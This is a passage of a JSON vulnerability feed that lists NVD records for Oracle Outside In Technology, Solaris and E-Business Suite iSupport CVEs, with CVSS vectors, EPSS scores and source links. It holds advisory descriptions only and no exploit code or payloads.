(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:37.900Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91353","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00398,"percentile":0.3373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91353","type":"primary","publishedAt":"2026-10-20T22:20:37.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91350","cveId":"CVE-2026-91350","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:37.557Z","updatedAt":"2026-10-22T19:18:04.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91350","asOf":"2026-10-22T19:18:04.170Z"},"epss":{"probability":0.00441,"percentile":0.38008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91350&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91350","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91350","type":"primary","publishedAt":"2026-10-20T22:20:37.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91350&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91350, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91349","cveId":"CVE-2026-91349","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:37.440Z","updatedAt":"2026-10-22T19:18:04.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91349","asOf":"2026-10-22T19:18:04.060Z"},"epss":{"probability":0.00324,"percentile":0.25197,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91349&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91349","type":"primary","publishedAt":"2026-10-20T22:20:37.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91349&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91349, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91348","cveId":"CVE-2026-91348","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).","summary":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:37.323Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91348","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00129,"percentile":0.02473,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91348&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91348","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91348","type":"primary","publishedAt":"2026-10-20T22:20:37.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91348&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91348, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91347","cveId":"CVE-2026-91347","aliases":[],"kind":"vulnerability","title":"Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests).","summary":"Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  While the vulnerability is in iSupport, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of iSupport. CVSS 3.1 Base Score 8.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L).","detail":"Vulnerability in the iSupport product of Oracle E-Business Suite (component: Service Requests).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise iSupport.  While the vulnerability is in iSupport, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all iSupport accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of iSupport. CVSS 3.1 Base Score 8.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:37.200Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91347","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00354,"percentile":0.28762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91347","type":"primary","publishedAt":"2026-10-20T22:20:37.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91346","cveId":"CVE-2026-91346","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data as well as  unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data as well as  unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:37.083Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91346","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00228,"percentile":0.13442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91346&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91346","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91346","type":"primary","publishedAt":"2026-10-20T22:20:37.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91346&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91346, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91345","cveId":"CVE-2026-91345","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.970Z","updatedAt":"2026-10-22T19:18:03.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91345","asOf":"2026-10-22T19:18:03.947Z"},"epss":{"probability":0.00441,"percentile":0.38008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91345&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91345","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91345","type":"primary","publishedAt":"2026-10-20T22:20:36.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91345&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91345, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91344","cveId":"CVE-2026-91344","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.840Z","updatedAt":"2026-10-22T19:18:03.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91344","asOf":"2026-10-22T19:18:03.833Z"},"epss":{"probability":0.00441,"percentile":0.3801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91344","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91344","type":"primary","publishedAt":"2026-10-20T22:20:36.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91343","cveId":"CVE-2026-91343","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:36.713Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91343","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00341,"percentile":0.27316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91343&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91343","type":"primary","publishedAt":"2026-10-20T22:20:36.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91343&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91343, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91342","cveId":"CVE-2026-91342","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as  unauthorized read access to a subset of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Outside In Technology accessible data as well as  unauthorized read access to a subset of Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 